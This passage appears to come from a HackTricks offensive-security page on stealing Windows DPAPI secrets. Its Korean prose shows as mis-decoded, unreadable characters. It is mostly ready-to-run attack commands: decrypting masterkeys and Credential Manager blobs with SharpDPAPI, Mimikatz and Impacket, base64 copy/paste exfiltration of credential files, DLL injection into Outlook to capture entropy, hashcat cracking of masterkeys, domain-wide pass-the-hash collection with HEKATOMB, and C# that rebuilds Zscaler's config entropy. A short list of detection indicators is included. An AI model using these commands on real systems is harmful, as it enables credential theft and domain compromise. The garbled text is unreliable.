/password:X         -   decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X             -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X          -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc                -   decrypt the target user's masterkeys by asking domain controller to do so
GUID1:SHA1 ...      -   use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE        -   use a file of one or more GUID:SHA1 masterkeys for decryption

Targeting:
/target:FILE/folder -   triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER      -   triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
  • DPAPI prekey/credkey๋ฅผ ์ง์ ‘ ์‚ฌ์šฉ(๋น„๋ฐ€๋ฒˆํ˜ธ ๋ถˆํ•„์š”)

LSASS๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, Mimikatz๋Š” ์ข…์ข… per-logon DPAPI key๋ฅผ ๋…ธ์ถœํ•˜์—ฌ plaintext password๋ฅผ ์•Œ์ง€ ๋ชปํ•ด๋„ ์‚ฌ์šฉ์ž์˜ masterkeys๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฐ’์„ ๋„๊ตฌ์— ์ง์ ‘ ์ „๋‹ฌํ•˜์„ธ์š”:

# SharpDPAPI accepts the "credkey" (domain or local SHA1)
SharpDPAPI.exe triage /credkey:SHA1_HEX

# SharpChrome accepts the same value as a "prekey"
SharpChrome logins /browser:edge /prekey:SHA1_HEX
  • ํ˜„์žฌ ์‚ฌ์šฉ์ž ์„ธ์…˜์„ ์‚ฌ์šฉํ•˜์—ฌ ์ผ๋ถ€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณตํ˜ธํ™”:
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect

# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect

Impacket dpapi.py๋ฅผ ์‚ฌ์šฉํ•œ ์˜คํ”„๋ผ์ธ ๋ณตํ˜ธํ™”

ํ”ผํ•ด์ž ์‚ฌ์šฉ์ž์˜ SID์™€ password(๋˜๋Š” NT hash)๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, Impacket์˜ dpapi.py๋ฅผ ์‚ฌ์šฉํ•ด DPAPI masterkeys์™€ Credential Manager blobs๋ฅผ ์™„์ „ํžˆ ์˜คํ”„๋ผ์ธ์—์„œ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ๋””์Šคํฌ์—์„œ ์•„ํ‹ฐํŒฉํŠธ ์‹๋ณ„:

  • Credential Manager blob(s): %APPDATA%\Microsoft\Credentials<hex>

  • ์ผ์น˜ํ•˜๋Š” masterkey: %APPDATA%\Microsoft\Protect<SID>{GUID}

  • ํŒŒ์ผ ์ „์†ก ํˆด์ด ๋ถˆ์•ˆ์ •ํ•˜๋ฉด, ํŒŒ์ผ์„ ํ˜ธ์ŠคํŠธ์—์„œ base64๋กœ ์ธ์ฝ”๋”ฉํ•ด ์ถœ๋ ฅ์„ ๋ณต์‚ฌํ•˜์„ธ์š”:

# Base64-encode files for copy/paste exfil
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Credentials\C8D69E...B9"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Protect\<SID>\556a2412-1275-4ccf-b721-e6a0b4f90407"))
  • ์‚ฌ์šฉ์ž์˜ SID์™€ password/hash๋กœ masterkey๋ฅผ ๋ณตํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค:
# Plaintext password
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -password 'UserPassword!'

# Or with NT hash
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -key 0x<NTLM_HEX>
  • ๋ณตํ˜ธํ™”๋œ masterkey๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ credential blob์„ ๋ณตํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค:
python3 dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0x<MASTERKEY_HEX>
# Expect output like: Type=CRED_TYPE_DOMAIN_PASSWORD; Target=Domain:target=DOMAIN
# Username=<user> ; Password=<cleartext>

์ด ์›Œํฌํ”Œ๋กœ์šฐ๋Š” Windows Credential Manager๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ €์žฅํ•œ ๋„๋ฉ”์ธ ์ž๊ฒฉ ์ฆ๋ช…(์˜ˆ: *_adm์™€ ๊ฐ™์€ ๊ด€๋ฆฌ์ž ๊ณ„์ •)์„ ์ข…์ข… ๋ณต๊ตฌํ•ฉ๋‹ˆ๋‹ค.


์„ ํƒ์  ์—”ํŠธ๋กœํ”ผ (โ€œThird-party entropyโ€)๏ปฟ

์ผ๋ถ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ CryptProtectData์— ์ถ”๊ฐ€ entropy ๊ฐ’์„ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฐ’์ด ์—†์œผ๋ฉด ์˜ฌ๋ฐ”๋ฅธ masterkey๋ฅผ ์•Œ๊ณ  ์žˆ๋”๋ผ๋„ blob์„ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด๋Ÿฌํ•œ ๋ฐฉ์‹์œผ๋กœ ๋ณดํ˜ธ๋œ ์ž๊ฒฉ ์ฆ๋ช…์„ ๋Œ€์ƒ์œผ๋กœ ํ•  ๋•Œ๋Š” entropy๋ฅผ ํ™•๋ณดํ•˜๋Š” ๊ฒƒ์ด ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค(์˜ˆ: Microsoft Outlook, ์ผ๋ถ€ VPN ํด๋ผ์ด์–ธํŠธ).

EntropyCapture (2022)๋Š” ๋Œ€์ƒ ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์˜ DPAPI ํ•จ์ˆ˜์— ํ›…์„ ๊ฑธ์–ด ์ œ๊ณต๋œ ์„ ํƒ์  ์—”ํŠธ๋กœํ”ผ๋ฅผ ํˆฌ๋ช…ํ•˜๊ฒŒ ๊ธฐ๋กํ•˜๋Š” user-mode DLL์ž…๋‹ˆ๋‹ค. outlook.exe๋‚˜ vpnclient.exe ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•ด EntropyCapture๋ฅผ DLL-injection ๋ชจ๋“œ๋กœ ์‹คํ–‰ํ•˜๋ฉด ๊ฐ ์—”ํŠธ๋กœํ”ผ ๋ฒ„ํผ๋ฅผ ํ˜ธ์ถœํ•œ ํ”„๋กœ์„ธ์Šค์™€ blob์— ๋งคํ•‘ํ•œ ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์บก์ฒ˜๋œ ์—”ํŠธ๋กœํ”ผ๋Š” ์ดํ›„ SharpDPAPI (/entropy:) ๋˜๋Š” Mimikatz (/entropy:<file>)์— ์ œ๊ณตํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll

# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>

Cracking masterkeys offline (Hashcat & DPAPISnoop)

Microsoft๋Š” Windows 10 v1607 (2016)๋ถ€ํ„ฐ context 3 masterkey ํฌ๋งท์„ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค. hashcat v6.2.6 (December 2023)์€ ํ•ด์‹œ-๋ชจ๋“œ 22100 (DPAPI masterkey v1 context ), 22101 (context 1) ๋ฐ 22102 (context 3)์„ ์ถ”๊ฐ€ํ•˜์—ฌ masterkey ํŒŒ์ผ์—์„œ ์ง์ ‘ user passwords๋ฅผ GPU๋กœ ๊ฐ€์†ํ•ด crackingํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๋Š” ๋Œ€์ƒ ์‹œ์Šคํ…œ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜์ง€ ์•Š๊ณ  word-list ๋˜๋Š” brute-force ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DPAPISnoop (2024) ์€ ์ด ๊ณผ์ •์„ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค:

# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4

The tool can also parse Credential and Vault blobs, decrypt them with cracked keys and export cleartext passwords.

๋‹ค๋ฅธ ๋จธ์‹ ์˜ ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผ

In SharpDPAPI and SharpChrome you can indicate the /server:HOST option to access a remote machineโ€™s data. Of course you need to be able to access that machine and in the following example itโ€™s supposed that the ๋„๋ฉ”์ธ ๋ฐฑ์—… ์•”ํ˜ธํ™” ํ‚ค๊ฐ€ ์•Œ๋ ค์ ธ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค:

SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64

๊ธฐํƒ€ ๋„๊ตฌ

HEKATOMB

HEKATOMB ๋Š” LDAP ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ๋ชจ๋“  ์‚ฌ์šฉ์ž์™€ ์ปดํ“จํ„ฐ๋ฅผ ์ถ”์ถœํ•˜๊ณ  RPC๋ฅผ ํ†ตํ•ด ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ ๋ฐฑ์—… ํ‚ค๋ฅผ ์ถ”์ถœํ•˜๋Š” ์ž‘์—…์„ ์ž๋™ํ™”ํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ์Šคํฌ๋ฆฝํŠธ๋Š” ์ถ”์ถœํ•œ ์ปดํ“จํ„ฐ๋“ค์˜ IP ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•œ ๋‹ค์Œ ๋ชจ๋“  ์ปดํ“จํ„ฐ์— ๋Œ€ํ•ด smbclient๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๋ชจ๋“  ์‚ฌ์šฉ์ž์˜ DPAPI ๋ธ”๋กญ์„ ๊ฐ€์ ธ์˜ค๊ณ  ๋„๋ฉ”์ธ ๋ฐฑ์—… ํ‚ค๋กœ ๋ชจ๋‘ ๋ณตํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

LDAP์—์„œ ์ถ”์ถœํ•œ ์ปดํ“จํ„ฐ ๋ชฉ๋ก์œผ๋กœ ์•Œ์ง€ ๋ชปํ–ˆ๋˜ ๋ชจ๋“  ์„œ๋ธŒ๋„ท๋„ ์ฐพ์•„๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค!

DonPAPI 2.x (2024-05)

DonPAPI ๋Š” DPAPI๋กœ ๋ณดํ˜ธ๋œ ๋น„๋ฐ€์„ ์ž๋™์œผ๋กœ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 2.x ๋ฆด๋ฆฌ์Šค๋Š” ๋‹ค์Œ์„ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค:

  • ์ˆ˜๋ฐฑ ๋Œ€์˜ ํ˜ธ์ŠคํŠธ์—์„œ ๋ธ”๋กญ์„ ๋ณ‘๋ ฌ ์ˆ˜์ง‘
  • context 3 ๋งˆ์Šคํ„ฐํ‚ค ํŒŒ์‹ฑ ๋ฐ Hashcat ์ž๋™ ํฌ๋ž˜ํ‚น ํ†ตํ•ฉ
  • Chrome โ€œApp-Boundโ€ ์•”ํ˜ธํ™”๋œ ์ฟ ํ‚ค ์ง€์› (๋‹ค์Œ ์„น์…˜ ์ฐธ์กฐ)
  • ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋ฐ˜๋ณต ํด๋งํ•˜๊ณ  ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ๋ธ”๋กญ์„ diffํ•˜๋Š” ์ƒˆ๋กœ์šด --snapshot ๋ชจ๋“œ

DPAPISnoop

DPAPISnoop ๋Š” masterkey/credential/vault ํŒŒ์ผ์„ ํŒŒ์‹ฑํ•˜๋Š” C# ํŒŒ์„œ๋กœ Hashcat/JtR ํ˜•์‹์œผ๋กœ ์ถœ๋ ฅํ•˜๊ณ  ์„ ํƒ์ ์œผ๋กœ ์ž๋™์œผ๋กœ ํฌ๋ž˜ํ‚น์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Windows 11 24H1๊นŒ์ง€์˜ ๋จธ์‹  ๋ฐ ์‚ฌ์šฉ์ž ๋งˆ์Šคํ„ฐํ‚ค ํฌ๋งท์„ ์™„์ „ํžˆ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์ธ ํƒ์ง€ ์ง€ํ‘œ

  • C:\Users\*\AppData\Roaming\Microsoft\Protect\*, C:\Users\*\AppData\Roaming\Microsoft\Credentials\* ๋ฐ ๊ธฐํƒ€ DPAPI ๊ด€๋ จ ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ํŒŒ์ผ ์ ‘๊ทผ.
  • ํŠนํžˆ C$ ๋˜๋Š” ADMIN$ ๊ฐ™์€ ๋„คํŠธ์›Œํฌ ๊ณต์œ ๋ฅผ ํ†ตํ•œ ์ ‘๊ทผ.
  • LSASS ๋ฉ”๋ชจ๋ฆฌ์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ๋งˆ์Šคํ„ฐํ‚ค๋ฅผ ๋คํ”„ํ•˜๊ธฐ ์œ„ํ•ด Mimikatz, SharpDPAPI ๋˜๋Š” ์œ ์‚ฌ ๋„๊ตฌ ์‚ฌ์šฉ.
  • ์ด๋ฒคํŠธ 4662: An operation was performed on an object โ€“ ์ด ์ด๋ฒคํŠธ๋Š” BCKUPKEY ๊ฐ์ฒด์— ๋Œ€ํ•œ ์ ‘๊ทผ๊ณผ ์—ฐ๊ด€๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ”„๋กœ์„ธ์Šค๊ฐ€ SeTrustedCredManAccessPrivilege (Credential Manager)๋ฅผ ์š”์ฒญํ•  ๋•Œ์˜ ์ด๋ฒคํŠธ 4673/4674

2023-2025 ์ทจ์•ฝ์  ๋ฐ ์ƒํƒœ๊ณ„ ๋ณ€ํ™”

  • CVE-2023-36004 โ€“ Windows DPAPI Secure Channel Spoofing (November 2023). ๋„คํŠธ์›Œํฌ ์ ‘๊ทผ๊ถŒ์„ ๊ฐ€์ง„ ๊ณต๊ฒฉ์ž๊ฐ€ ๋„๋ฉ”์ธ ๋ฉค๋ฒ„๋ฅผ ์†์—ฌ ์•…์„ฑ DPAPI ๋ฐฑ์—… ํ‚ค๋ฅผ ๊ฐ€์ ธ์˜ค๊ฒŒ ํ•  ์ˆ˜ ์žˆ์—ˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž ๋งˆ์Šคํ„ฐํ‚ค๋ฅผ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. 2023๋…„ 11์›” ๋ˆ„์  ์—…๋ฐ์ดํŠธ์—์„œ ํŒจ์น˜๋˜์—ˆ์œผ๋ฏ€๋กœ ๊ด€๋ฆฌ์ž๋Š” DC์™€ ์›Œํฌ์Šคํ…Œ์ด์…˜์ด ์™„์ „ํžˆ ํŒจ์น˜๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • Chrome 127 โ€œApp-Boundโ€ cookie encryption (July 2024) ์€ ๊ธฐ์กด์˜ DPAPI ์ „์šฉ ๋ณดํ˜ธ๋ฅผ ์‚ฌ์šฉ์ž Credential Manager์— ์ €์žฅ๋œ ์ถ”๊ฐ€ ํ‚ค๋กœ ๋Œ€์ฒดํ–ˆ์Šต๋‹ˆ๋‹ค. ์˜คํ”„๋ผ์ธ์—์„œ ์ฟ ํ‚ค๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๋ ค๋ฉด ์ด์ œ DPAPI ๋งˆ์Šคํ„ฐํ‚ค์™€ GCM-wrapped app-bound key ๋‘˜ ๋‹ค ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. SharpChrome v2.3 ๋ฐ DonPAPI 2.x๋Š” ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋กœ ์‹คํ–‰๋  ๋•Œ ์ถ”๊ฐ€ ํ‚ค๋ฅผ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‚ฌ๋ก€ ์—ฐ๊ตฌ: Zscaler Client Connector โ€“ SID์—์„œ ํŒŒ์ƒ๋œ ์‚ฌ์šฉ์ž ์ •์˜ ์—”ํŠธ๋กœํ”ผ

Zscaler Client Connector๋Š” C:\ProgramData\Zscaler ์•„๋ž˜์— ์—ฌ๋Ÿฌ ๊ตฌ์„ฑ ํŒŒ์ผ(์˜ˆ: config.dat, users.dat, *.ztc, *.mtt, *.mtc, *.mtp)์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ํŒŒ์ผ์€ DPAPI (Machine scope) ๋กœ ์•”ํ˜ธํ™”๋˜์ง€๋งŒ ๋ฒค๋”๋Š” ๋””์Šคํฌ์— ์ €์žฅํ•˜๋Š” ๋Œ€์‹  ๋Ÿฐํƒ€์ž„์— ๊ณ„์‚ฐ๋˜๋Š” custom entropy ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

์—”ํŠธ๋กœํ”ผ๋Š” ๋‹ค์Œ ๋‘ ์š”์†Œ์—์„œ ์žฌ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค:

  1. ZSACredentialProvider.dll ์•ˆ์— ํ•˜๋“œ์ฝ”๋”ฉ๋œ ๋น„๋ฐ€.
  2. ํ•ด๋‹น ๊ตฌ์„ฑ์— ์†ํ•œ Windows ๊ณ„์ •์˜ SID.

DLL์— ์˜ํ•ด ๊ตฌํ˜„๋œ ์•Œ๊ณ ๋ฆฌ์ฆ˜์€ ๋‹ค์Œ๊ณผ ๋™๋“ฑํ•ฉ๋‹ˆ๋‹ค:

byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid    = Encoding.UTF8.GetBytes(CurrentUserSID);

// XOR the two buffers byte-by-byte
byte[] tmp = new byte[secret.Length];
for (int i = 0; i < secret.Length; i++)
tmp[i] = (byte)(sid[i] ^ secret[i]);

// Split in half and XOR both halves together to create the final entropy buffer
byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);

์ด ๋น„๋ฐ€์€ ๋””์Šคํฌ์—์„œ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” DLL์— ํฌํ•จ๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, SYSTEM ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๋กœ์ปฌ ๊ณต๊ฒฉ์ž๋Š” ๋ชจ๋“  SID์— ๋Œ€ํ•œ ์—”ํŠธ๋กœํ”ผ๋ฅผ ์žฌ์ƒ์„ฑํ•˜์—ฌ blobs๋ฅผ ์˜คํ”„๋ผ์ธ์œผ๋กœ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));

๋ณตํ˜ธํ™”ํ•˜๋ฉด ๋ชจ๋“  ์žฅ์น˜ ๋ณด์•ˆ ์ƒํƒœ ๊ฒ€์‚ฌ์™€ ๊ทธ ์˜ˆ์ƒ ๊ฐ’์„ ํฌํ•จํ•œ ์™„์ „ํ•œ JSON ๊ตฌ์„ฑ์ด ๋“œ๋Ÿฌ๋‚ฉ๋‹ˆ๋‹ค โ€“ ํด๋ผ์ด์–ธํŠธ ์ธก ์šฐํšŒ ์‹œ๋„ ์‹œ ๋งค์šฐ ์œ ์šฉํ•œ ์ •๋ณด์ž…๋‹ˆ๋‹ค.

ํŒ: ๋‹ค๋ฅธ ์•”ํ˜ธํ™”๋œ ์•„ํ‹ฐํŒฉํŠธ (*.mtt, *.mtp, *.mtc, *.ztc)๋Š” DPAPI ์—†์ด entropy (16 zero bytes)๋กœ ๋ณดํ˜ธ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ SYSTEM ๊ถŒํ•œ์„ ํš๋“ํ•˜๋ฉด ProtectedData.Unprotect๋กœ ์ง์ ‘ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ